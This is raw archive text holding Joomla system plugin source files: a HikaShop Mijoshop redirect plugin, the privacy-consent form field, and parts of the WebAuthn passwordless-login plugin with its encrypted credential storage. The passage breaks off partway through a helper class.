			$baseUrl = 'category&task=listing&Itemid='.$itemId;
		}elseif(!empty($mijoOrderId)){
			$db->setQuery('SELECT order_id FROM '.hikashop_table('order').' WHERE order_mijo_id='.$mijoOrderId);
			$hikaOrderId = $db->loadResult();
			if(!empty($hikaOrderId)){
				$url = hikashop_completeLink('order&task=show&cid='.$hikaOrderId, false, true);
				$app->redirect($url);
				return true;
			}
		}

		if( !empty($query) && !empty($baseUrl) ) {
			$db->setQuery($query);
			$link = $db->loadObject();
			if( $link ) {
				if(method_exists($app,'stringURLSafe')) {
					$name = $app->stringURLSafe(strip_tags($link->name));
				} else {
					$name = JFilterOutput::stringURLSafe(strip_tags($link->name));
				}
				$url = hikashop_completeLink($baseUrl.'&cid='.$link->hk_id.'&name='.$name, false, true);
			}
		}

		if( $url )
			$app->redirect($url);
	}
}
PK!�;8���mijo_redirect/mijo_redirect.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>Hikashop - Mijoshop Fallback Redirect Plugin</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>HikaShop</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>This plugin enables you to redirect imported data from Mijoshop</description>
	<files>
		<filename plugin="mijo_redirect">mijo_redirect.php</filename>
	</files>
	<params/>
	<config/>
</extension>
PK!�#o,,mijo_redirect/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�ߌ���'privacyconsent/forms/privacyconsent.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="privacyconsent">
		<fieldset
			name="privacyconsent"
			label="PLG_SYSTEM_PRIVACYCONSENT_LABEL"
		>
			<field
				name="privacy"
				type="privacy"
				label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_LABEL"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">PLG_SYSTEM_PRIVACYCONSENT_OPTION_AGREE</option>
				<option value="0">JNO</option>
			</field>
		</fieldset>
	</fields>
</form>
PK!/w*%�
�
)privacyconsent/src/Field/PrivacyField.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\PrivacyConsent\Field;

\defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Field\RadioField;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Database\ParameterType;

/**
 * Provides input for privacy
 *
 * @since  3.9.0
 */
class PrivacyField extends RadioField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'privacy';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string   The field input markup.
	 *
	 * @since   3.9.0
	 */
	protected function getInput()
	{
		// Display the message before the field
		echo $this->getRenderer('plugins.system.privacyconsent.message')->render($this->getLayoutData());

		return parent::getInput();
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.0
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		return $this->getRenderer('plugins.system.privacyconsent.label')->render($this->getLayoutData());

	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.4
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$article = false;
		$link = false;
		$privacyArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($privacyArticle && Factory::getApplication()->isClient('site'))
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName(['id', 'alias', 'catid', 'language']))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = :id')
				->bind(':id', $privacyArticle, ParameterType::INTEGER);
			$db->setQuery($query);
			$article = $db->loadObject();

			$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
			$article->link  = RouteHelper::getArticleRoute($slug, $article->catid, $article->language);
			$link = $article->link;
		}

		$privacyMenuItem = $this->element['menu_item'] > 0 ? (int) $this->element['menu_item'] : 0;

		if ($privacyMenuItem && Factory::getApplication()->isClient('site'))
		{
			$link = 'index.php?Itemid=' . $privacyMenuItem;

			if (Multilanguage::isEnabled())
			{
				$db    = Factory::getDbo();
				$query = $db->getQuery(true)
					->select($db->quoteName(['id', 'language']))
					->from($db->quoteName('#__menu'))
					->where($db->quoteName('id') . ' = :id')
					->bind(':id', $privacyMenuItem, ParameterType::INTEGER);
				$db->setQuery($query);
				$menuItem = $db->loadObject();

				$link .= '&lang=' . $menuItem->language;
			}
		}

		$extraData = [
			'privacynote' => !empty($this->element['note']) ? $this->element['note'] : Text::_('PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DEFAULT'),
			'options' => $this->getOptions(),
			'value'   => (string) $this->value,
			'translateLabel' => $this->translateLabel,
			'translateDescription' => $this->translateDescription,
			'translateHint' => $this->translateHint,
			'privacyArticle' => $privacyArticle,
			'article' => $article,
			'privacyLink' => $link,
		];

		return array_merge($data, $extraData);
	}
}
PK!��̀�webauthn/webauthn.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_webauthn</name>
	<version>4.0.0</version>
	<creationDate>2019-07-02</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2020 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<description>PLG_SYSTEM_WEBAUTHN_DESCRIPTION</description>
	<namespace path="src">Joomla\Plugin\System\Webauthn</namespace>
	<files>
		<filename plugin="webauthn">webauthn.php</filename>
		<folder>forms</folder>
		<folder>src</folder>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/plg_system_webauthn.ini</language>
		<language tag="en-GB">en-GB/plg_system_webauthn.sys.ini</language>
	</languages>
</extension>
PK!����
�
webauthn/webauthn.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\Event\DispatcherInterface;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use Joomla\Plugin\System\Webauthn\PluginTraits\AdditionalLoginButtons;
use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandler;
use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerChallenge;
use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerCreate;
use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerDelete;
use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerLogin;
use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerSaveLabel;
use Joomla\Plugin\System\Webauthn\PluginTraits\UserDeletion;
use Joomla\Plugin\System\Webauthn\PluginTraits\UserProfileFields;

/**
 * WebAuthn Passwordless Login plugin
 *
 * The plugin features are broken down into Traits for the sole purpose of making an otherwise supermassive class
 * somewhat manageable. You can find the Traits inside the Webauthn/PluginTraits folder.
 *
 * @since  4.0.0
 */
class PlgSystemWebauthn extends CMSPlugin
{
	// AJAX request handlers
	use AjaxHandler;
	use AjaxHandlerCreate;
	use AjaxHandlerSaveLabel;
	use AjaxHandlerDelete;
	use AjaxHandlerChallenge;
	use AjaxHandlerLogin;

	// Custom user profile fields
	use UserProfileFields;

	// Handle user profile deletion
	use UserDeletion;

	// Add WebAuthn buttons
	use AdditionalLoginButtons;

	/**
	 * Constructor. Loads the language files as well.
	 *
	 * @param   DispatcherInterface  $subject  The object to observe
	 * @param   array                $config   An optional associative array of configuration
	 *                                         settings. Recognized key values include 'name',
	 *                                         'group', 'params', 'language (this list is not meant
	 *                                         to be comprehensive).
	 *
	 * @since  4.0.0
	 */
	public function __construct(&$subject, array $config = [])
	{
		parent::__construct($subject, $config);

		/**
		 * Note: Do NOT try to load the language in the constructor. This is called before Joomla initializes the
		 * application language. Therefore the temporary Joomla language object and all loaded strings in it will be
		 * destroyed on application initialization. As a result we need to call loadLanguage() in each method
		 * individually, even though all methods make use of language strings.
		 */

		// Register a debug log file writer
		Joomla::addLogger('system');
	}
}
PK!m�	@��webauthn/forms/webauthn.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="webauthn" addfieldprefix="Joomla\Plugin\System\Webauthn\Field">
		<fieldset name="webauthn"
			label="PLG_SYSTEM_WEBAUTHN_HEADER"
		>
			<field
				name="webauthn"
				type="webauthn"
				label="PLG_SYSTEM_WEBAUTHN_FIELD_LABEL"
				description="PLG_SYSTEM_WEBAUTHN_FIELD_DESC"
				required="false"
				readonly="false"
				default=""
			/>
		</fieldset>
	</fields>
</form>
PK!�ov�1�1%webauthn/src/CredentialRepository.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use InvalidArgumentException;
use Joomla\CMS\Encrypt\Aes;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\Database\DatabaseDriver;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;
use Joomla\Registry\Registry;
use JsonException;
use RuntimeException;
use Throwable;
use Webauthn\PublicKeyCredentialSource;
use Webauthn\PublicKeyCredentialSourceRepository;
use Webauthn\PublicKeyCredentialUserEntity;

/**
 * Handles the storage of WebAuthn credentials in the database
 *
 * @since   4.0.0
 */
class CredentialRepository implements PublicKeyCredentialSourceRepository
{
	/**
	 * Returns a PublicKeyCredentialSource object given the public key credential ID
	 *
	 * @param   string  $publicKeyCredentialId  The identified of the public key credential we're searching for
	 *
	 * @return  PublicKeyCredentialSource|null
	 *
	 * @since   4.0.0
	 */
	public function findOneByCredentialId(string $publicKeyCredentialId): ?PublicKeyCredentialSource
	{
		/** @var DatabaseDriver $db */
		$db           = Factory::getContainer()->get('DatabaseDriver');
		$credentialId = base64_encode($publicKeyCredentialId);
		$query        = $db->getQuery(true)
			->select($db->qn('credential'))
			->from($db->qn('#__webauthn_credentials'))
			->where($db->qn('id') . ' = :credentialId')
			->bind(':credentialId', $credentialId);

		$encrypted = $db->setQuery($query)->loadResult();

		if (empty($encrypted))
		{
			return null;
		}

		$json = $this->decryptCredential($encrypted);

		try
		{
			return PublicKeyCredentialSource::createFromArray(json_decode($json, true));
		}
		catch (Throwable $e)
		{
			return null;
		}
	}

	/**
	 * Returns all PublicKeyCredentialSource objects given a user entity. We only use the `id` property of the user
	 * entity, cast to integer, as the Joomla user ID by which records are keyed in the database table.
	 *
	 * @param   PublicKeyCredentialUserEntity  $publicKeyCredentialUserEntity  Public key credential user entity record
	 *
	 * @return  PublicKeyCredentialSource[]
	 *
	 * @since  4.0.0
	 */
	public function findAllForUserEntity(PublicKeyCredentialUserEntity $publicKeyCredentialUserEntity): array
	{
		/** @var DatabaseDriver $db */
		$db         = Factory::getContainer()->get('DatabaseDriver');
		$userHandle = $publicKeyCredentialUserEntity->getId();
		$query      = $db->getQuery(true)
			->select('*')
			->from($db->qn('#__webauthn_credentials'))
			->where($db->qn('user_id') . ' = :user_id')
			->bind(':user_id', $userHandle);

		try
		{
			$records = $db->setQuery($query)->loadAssocList();
		}
		catch (Exception $e)
		{
			return [];
		}

		/**
		 * Converts invalid credential records to PublicKeyCredentialSource objects, or null if they
		 * are invalid.
		 *
		 * This closure is defined as a variable to prevent PHP-CS from getting a stoke trying to
		 * figure out the correct indentation :)
		 *
		 * @param   array  $record  The record to convert
		 *
		 * @return  PublicKeyCredentialSource|null
		 */
		$recordsMapperClosure = function ($record)
		{
			try
			{
				$json = $this->decryptCredential($record['credential']);
				$data = json_decode($json, true);
			}
			catch (JsonException $e)
			{
				return;
			}

			if (empty($data))
			{
				return;
			}

			try
			{
				return PublicKeyCredentialSource::createFromArray($data);
			}
			catch (InvalidArgumentException $e)
			{
				return;
			}
		};

		$records = array_map($recordsMapperClosure, $records);

		/**
		 * Filters the list of records to only keep valid entries.
		 *
		 * Only array members that are PublicKeyCredentialSource objects survive the filter.
		 *
		 * This closure is defined as a variable to prevent PHP-CS from getting a stoke trying to
		 * figure out the correct indentation :)
		 *
		 * @param  PublicKeyCredentialSource|mixed  $record  The record to filter
		 *
		 * @return boolean
		 */
		$filterClosure = function ($record)
		{
			return !\is_null($record) && \is_object($record) && ($record instanceof PublicKeyCredentialSource);
		};

		return array_filter($records, $filterClosure);
	}

	/**
	 * Add or update an attested credential for a given user.
	 *
	 * @param   PublicKeyCredentialSource  $publicKeyCredentialSource  The public key credential
	 *                                                                 source to store
	 *
	 * @return  void
	 *
	 * @throws Exception
	 * @since   4.0.0
	 */
	public function saveCredentialSource(PublicKeyCredentialSource $publicKeyCredentialSource): void
	{
		// Default values for saving a new credential source
		$credentialId = base64_encode($publicKeyCredentialSource->getPublicKeyCredentialId());
		$user         = Factory::getApplication()->getIdentity();
		$o            = (object) [
			'id'         => $credentialId,
			'user_id'    => $this->getHandleFromUserId($user->id),
			'label'      => Text::sprintf('PLG_SYSTEM_WEBAUTHN_LBL_DEFAULT_AUTHENTICATOR_LABEL', Joomla::formatDate('now')),
			'credential' => json_encode($publicKeyCredentialSource),
		];
		$update = false;

		/** @var DatabaseDriver $db */
		$db     = Factory::getContainer()->get('DatabaseDriver');

		// Try to find an existing record
		try
		{
			$query     = $db->getQuery(true)
				->select('*')
				->from($db->qn('#__webauthn_credentials'))
				->where($db->qn('id') . ' = :credentialId')
				->bind(':credentialId', $credentialId);
			$oldRecord = $db->setQuery($query)->loadObject();

			if (\is_null($oldRecord))
			{
				throw new Exception('This is a new record');
			}

			/**
			 * Sanity check. The existing credential source must have the same user handle as the one I am trying to
			 * save. Otherwise something fishy is going on.
			 */
			// phpcs:ignore
			if ($oldRecord->user_id != $publicKeyCredentialSource->getUserHandle())
			{
				throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CREDENTIAL_ID_ALREADY_IN_USE'));
			}

			// phpcs:ignore
			$o->user_id = $oldRecord->user_id;
			$o->label   = $oldRecord->label;
			$update     = true;
		}
		catch (Exception $e)
		{
		}

		$o->credential = $this->encryptCredential($o->credential);

		if ($update)
		{
			$db->updateObject('#__webauthn_credentials', $o, ['id']);

			return;
		}

		/**
		 * This check is deliberately skipped for updates. When logging in the underlying library will try to save the
		 * credential source. This is necessary to update the last known authenticator signature counter which prevents
		 * replay attacks. When we are saving a new record, though, we have to make sure we are not a guest user. Hence
		 * the check below.
		 */
		if ((\is_null($user) || $user->guest))
		{
			throw new RuntimeException(Text::_('PLG_SYSTEM_WEBAUTHN_ERR_CANT_STORE_FOR_GUEST'));
		}

		$db->insertObject('#__webauthn_credentials', $o);
	}

	/**
	 * Get all credential information for a given user ID. This is meant to only be used for displaying records.
	 *
	 * @param   int  $userId  The user ID
	 *
	 * @return  array
	 *
	 * @since   4.0.0
	 */
	public function getAll(int $userId): array
	{
		/** @var DatabaseDriver $db */
		$db         = Factory::getContainer()->get('DatabaseDriver');
		$userHandle = $this->getHandleFromUserId($userId);
		$query      = $db->getQuery(true)
			->select('*')
			->from($db->qn('#__webauthn_credentials'))
			->where($db->qn('user_id') . ' = :user_id')
			->bind(':user_id', $userHandle);

		try
		{
			$results = $db->setQuery($query)->loadAssocList();
		}
		catch (Exception $e)
		{
			return [];
		}

		if (empty($results))
		{
			return [];
		}

		return $results;
	}

	/**
	 * Do we have stored credentials under the specified Credential ID?
	 *
	 * @param   string  $credentialId  The ID of the credential to check for existence
	 *
	 * @return  boolean
	 *
	 * @since   4.0.0
	 */
	public function has(string $credentialId): bool
	{
		/** @var DatabaseDriver $db */
		$db           = Factory::getContainer()->get('DatabaseDriver');
		$credentialId = base64_encode($credentialId);
		$query        = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->qn('#__webauthn_credentials'))
			->where($db->qn('id') . ' = :credentialId')
			->bind(':credentialId', $credentialId);

		try
		{
			$count = $db->setQuery($query)->loadResult();

			return $count > 0;
		}
		catch (Exception $e)
		{
			return false;
		}
	}

	/**
	 * Update the human readable label of a credential
	 *
	 * @param   string  $credentialId  The credential ID
	 * @param   string  $label         The human readable label to set
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function setLabel(string $credentialId, string $label): void
	{
		/** @var DatabaseDriver $db */
		$db           = Factory::getContainer()->get('DatabaseDriver');
		$credentialId = base64_encode($credentialId);
		$o            = (object) [
			'id'    => $credentialId,
			'label' => $label,
		];

		$db->updateObject('#__webauthn_credentials', $o, ['id'], false);
	}

	/**
	 * Remove stored credentials
	 *
	 * @param   string  $credentialId  The credentials ID to remove
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function remove(string $credentialId): void
	{
		if (!$this->has($credentialId))
		{
			return;
		}

		/** @var DatabaseDriver $db */
		$db           = Factory::getContainer()->get('DatabaseDriver');
		$credentialId = base64_encode($credentialId);
		$query        = $db->getQuery(true)
			->delete($db->qn('#__webauthn_credentials'))
			->where($db->qn('id') . ' = :credentialId')
			->bind(':credentialId', $credentialId);

		$db->setQuery($query)->execute();
	}

	/**
	 * Return the user handle for the stored credential given its ID.
	 *
	 * The user handle must not be personally identifiable. Per https://w3c.github.io/webauthn/#user-handle it is
	 * acceptable to have a salted hash with a salt private to our server, e.g. Joomla's secret. The only immutable
	 * information in Joomla is the user ID so that's what we will be using.
	 *
	 * @param   string  $credentialId  The credential ID to get the user handle for
	 *
	 * @return  string
	 *
	 * @since   4.0.0
	 */
	public function getUserHandleFor(string $credentialId): string
	{
		$publicKeyCredentialSource = $this->findOneByCredentialId($credentialId);

		if (empty($publicKeyCredentialSource))
		{
			return '';
		}

		return $publicKeyCredentialSource->getUserHandle();
	}

	/**
	 * Return a user handle given an integer Joomla user ID. We use the HMAC-SHA-256 of the user ID with the site's
	 * secret as the key. Using it instead of SHA-512 is on purpose! WebAuthn only allows user handles up to 64 bytes
	 * long.
	 *
	 * @param   int  $id  The user ID to convert
	 *
	 * @return  string  The user handle (HMAC-SHA-256 of the user ID)
	 *
	 * @since   4.0.0
	 */
	public function getHandleFromUserId(int $id): string
	{
		$key  = $this->getEncryptionKey();
		$data = sprintf('%010u', $id);

		return hash_hmac('sha256', $data, $key, false);
	}

	/**
	 * Encrypt the credential source before saving it to the database
	 *
	 * @param   string   $credential  The unencrypted, JSON-encoded credential source
	 *
	 * @return  string  The encrypted credential source, base64 encoded
	 *
	 * @since   4.0.0
	 */
	private function encryptCredential(string $credential): string
	{
		$key = $this->getEncryptionKey();

		if (empty($key))
		{
			return $credential;
		}

		$aes = new Aes($key, 256);

		return $aes->encryptString($credential);
	}

	/**
	 * Decrypt the credential source if it was already encrypted in the database
	 *
	 * @param   string  $credential  The encrypted credential source, base64 encoded
	 *
	 * @return  string  The decrypted, JSON-encoded credential source
	 *
	 * @since   4.0.0
	 */
	private function decryptCredential(string $credential): string
	{
		$key = $this->getEncryptionKey();

		if (empty($key))
		{
			return $credential;
		}

		// Was the credential stored unencrypted (e.g. the site's secret was empty)?
		if ((strpos($credential, '{') !== false) && (strpos($credential, '"publicKeyCredentialId"') !== false))
		{
			return $credential;
		}

		$aes = new Aes($key, 256);

		return $aes->decryptString($credential);
	}

	/**
	 * Get the site's secret, used as an encryption key
	 *
	 * @return  string
	 *
	 * @since   4.0.0
	 */
	private function getEncryptionKey(): string
	{
		try
		{
			$app = Factory::getApplication();
			/** @var Registry $config */
			$config = $app->getConfig();
			$secret = $config->get('secret', '');
		}
		catch (Exception $e)
		{
			$secret = '';
		}

		return $secret;
	}
}
PK!s��=,,1webauthn/src/Exception/AjaxNonCmsAppException.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\Exception;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use RuntimeException;

/**
 * Exception indicating that the Joomla application object is not a CMSApplication subclass.
 *
 * @since   4.0.0
 */
class AjaxNonCmsAppException extends RuntimeException
{
}
PK!={���$webauthn/src/Field/WebauthnField.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\Field;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\Plugin\System\Webauthn\CredentialRepository;
use Joomla\Plugin\System\Webauthn\Helper\Joomla;

/**
 * Custom Joomla Form Field to display the WebAuthn interface
 *
 * @since 4.0.0
 */
class WebauthnField extends FormField
{
	/**
	 * Element name
	 *
	 * @var    string
	 *
	 * @since  4.0.0
	 */
	protected $type = 'Webauthn';

	/**
	 * Returns the input field's HTML
	 *
	 * @return  string
	 * @throws  Exception
	 *
	 * @since   4.0.0
	 */
	public function getInput()
	{
		$userId = $this->form->getData()->get('id', null);

		if (\is_null($userId))
		{
			return Text::_('PLG_SYSTEM_WEBAUTHN_ERR_NOUSER');
		}

		Text::script('PLG_SYSTEM_WEBAUTHN_ERR_NO_BROWSER_SUPPORT', true);
		Text::script('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_SAVE_LABEL', true);
		Text::script('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_CANCEL_LABEL', true);
		Text::script('PLG_SYSTEM_WEBAUTHN_MSG_SAVED_LABEL', true);
		Text::script('PLG_SYSTEM_WEBAUTHN_ERR_LABEL_NOT_SAVED', true);

		$app                  = Factory::getApplication();
		$credentialRepository = new CredentialRepository;

		$app->getDocument()->getWebAssetManager()
			->registerAndUseScript('plg_system_webauthn.management', 'plg_system_webauthn/management.js', [], ['defer' => true], ['core']);

		return Joomla::renderLayout('plugins.system.webauthn.manage', [
			'user'        => Factory::getContainer()->get(UserFactoryInterface::class)->loadUserById($userId),
			'allow_add'   => $userId == $app->getIdentity()->id,
			'credentials' => $credentialRepository->getAll($userId),
			]
		);
	}
}
PK!2���O�Owebauthn/src/Helper/Joomla.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Webauthn
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Webauthn\Helper;

// Protect from unauthorized access
\defined('_JEXEC') or die();

use DateTime;
use DateTimeZone;
use Exception;
use JLoader;
use Joomla\Application\AbstractApplication;
use Joomla\CMS\Application\CliApplication;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Application\ConsoleApplication;
use Joomla\CMS\Authentication\Authentication;
use Joomla\CMS\Authentication\AuthenticationResponse;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\CMS\User\UserHelper;
use Joomla\Registry\Registry;
use RuntimeException;

/**
 * A helper class for abstracting core features in Joomla! 3.4 and later, including 4.x
 *
 * @since  4.0.0
 */
abstract class Joomla
{
	/**
	 * A fake session storage for CLI apps. Since CLI applications cannot have a session we are
	 * using a Registry object we manage internally.
	 *
	 * @var     Registry
	 * @since   4.0.0
	 */
	protected static $fakeSession = null;

	/**
	 * Are we inside the administrator application
	 *
	 * @var     boolean
	 * @since   4.0.0
	 */
	protected static $isAdmin = null;

	/**
	 * Are we inside a CLI application
	 *
	 * @var     boolean
	 * @since   4.0.0
	 */
	protected static $isCli = null;

	/**
	 * Which plugins have already registered a text file logger. Prevents double registration of a
	 * log file.
	 *
	 * @var     array
	 * @since   4.0.0
	 */
	protected static $registeredLoggers = [];

	/**
	 * The current Joomla Document type
	 *
	 * @var     string|null
	 * @since   4.0.0
	 */
	protected static $joomlaDocumentType = null;

	/**
	 * Is the current user allowed to edit the social login configuration of $user? To do so I must
	 * either be editing my own account OR I have to be a Super User.
	 *
	 * @param   User  $user  The user you want to know if we're allowed to edit
	 *
	 * @return  boolean
	 *
	 * @since   4.0.0
	 */
	public static function canEditUser(User $user = null): bool
	{
		// I can edit myself
		if (empty($user))
		{
			return true;
		}

		// Guests can't have social logins associated
		if ($user->guest)
		{
			return false;
		}

		// Get the currently logged in used
		try
		{
			$myUser = Factory::getApplication()->getIdentity();
		}
		catch (Exception $e)
		{
			// Cannot get the application; no user, therefore no edit privileges.
			return false;
		}

		// Same user? I can edit myself
		if ($myUser->id == $user->id)
		{
			return true;
		}

		// To edit a different user I must be a Super User myself. If I'm not, I can't edit another user!
		if (!$myUser->authorise('core.admin'))
		{
			return false;
		}

		// I am a Super User editing another user. That's allowed.
		return true;
	}

	/**
	 * Helper method to render a JLayout.
	 *
	 * @param   string  $layoutFile   Dot separated path to the layout file, relative to base path
	 *                                (plugins/system/webauthn/layout)
	 * @param   object  $displayData  Object which properties are used inside the layout file to
	 *                                build displayed output
	 * @param   string  $includePath  Additional path holding layout files
	 * @param   mixed   $options      Optional custom options to load. Registry or array format.
	 *                                Set 'debug'=>true to output debug information.
	 *
	 * @return  string
	 *
	 * @since   4.0.0
	 */
	public static function renderLayout(string $layoutFile, $displayData = null,
		string $includePath = '', array $options = []
	): string
	{
		$basePath = JPATH_SITE . '/plugins/system/webauthn/layout';
		$layout   = new FileLayout($layoutFile, $basePath, $options);

		if (!empty($includePath))
		{
			$layout->addIncludePath($includePath);
		}

		return $layout->render($displayData);
	}

	/**
	 * Unset a variable from the user session
	 *
	 * This method cannot be replaced with a call to Factory::getSession->set(). This method takes
	 * into account running under CLI, using a fake session storage. In the end of the day this
	 * plugin doesn't work under CLI but being able to fake session storage under CLI means that we
	 * don't have to add gnarly if-blocks everywhere in the code to make sure it doesn't break CLI
	 * either!
	 *
	 * @param   string  $name       The name of the variable to unset
	 * @param   string  $namespace  (optional) The variable's namespace e.g. the component name.
	 *                              Default: 'default'
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public static function unsetSessionVar(string $name, string $namespace = 'default'): void
	{
		self::setSessionVar($name, null, $namespace);
	}

	/**
	 * Set a variable in the user session.
	 *
	 * This method cannot be replaced with a call to Factory::getSession->set(). This method takes
	 * into account running under CLI, using a fake session storage. In the end of the day this
	 * plugin doesn't work under CLI but being able to fake session storage under CLI means that we
	 * don't have to add gnarly if-blocks everywhere in the code to make sure it doesn't break CLI
	 * either!
	 *
	 * @param   string  $name       The name of the variable to set
	 * @param   string  $value      (optional) The value to set it to, default is null
	 * @param   string  $namespace  (optional) The variable's namespace e.g. the component name.
	 *                              Default: 'default'
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public static function setSessionVar(string $name, ?string $value = null,
		string $namespace = 'default'
	): void
	{
		$qualifiedKey = "$namespace.$name";

		if (self::isCli())
		{
			self::getFakeSession()->set($qualifiedKey, $value);

			return;
		}

		try
		{
			Factory::getApplication()->getSession()->set($qualifiedKey, $value);
		}
		catch (Exception $e)
		{
			return;
		}
	}

	/**
	 * Are we inside a CLI application
	 *
	 * @param   CMSApplication  $app  The current CMS application which tells us if we are inside
	 *                                an admin page
	 *
	 * @return  boolean
	 *
	 * @since   4.0.0
	 */
	public static function isCli(CMSApplication $app = null): bool
	{
		if (\is_null(self::$isCli))
		{
			if (\is_null($app))
			{
				try
				{
					$app = Factory::getApplication();
				}
				catch (Exception $e)
				{
					$app = null;
				}
			}

			if (\is_null($app))
			{
				self::$isCli = true;
			}

			if (\is_object($app))
			{
				self::$isCli = $app instanceof Exception;

				if (class_exists('Joomla\\CMS\\Application\\CliApplication'))
				{
					self::$isCli = self::$isCli || $app instanceof CliApplication || $app instanceof ConsoleApplication;
				}
			}
		}

		return self::$isCli;
	}

	/**
	 * Get a fake session registry for CLI applications
	 *
	 * @return  Registry
	 *
	 * @since   4.0.0
	 */
	protected static function getFakeSession(): Registry
	{
		if (!\is_object(self::$fakeSession))
		{
			self::$fakeSession = new Registry;
		}

		return self::$fakeSession;
	}

	/**
	 * Return the session token. This method goes through our session abstraction to prevent a
	 * fatal exception if it's accidentally called under CLI.
	 *
	 * @return  mixed
	 *
	 * @since   4.0.0
	 */
	public static function getToken(): string
	{
		// For CLI apps we implement our own fake token system
		if (self::isCli())
		{
			$token = self::getSessionVar('session.token');

			// Create a token
			if (\is_null($token))
			{
				$token = UserHelper::genRandomPassword(32);

				self::setSessionVar('session.token', $token);
			}

			return (string) $token;
		}

		// Web application, go through the regular Joomla! API.
		try
		{
			return Factory::getApplication()->getSession()->getToken();
		}
		catch (Exception $e)
		{
			return '';
		}
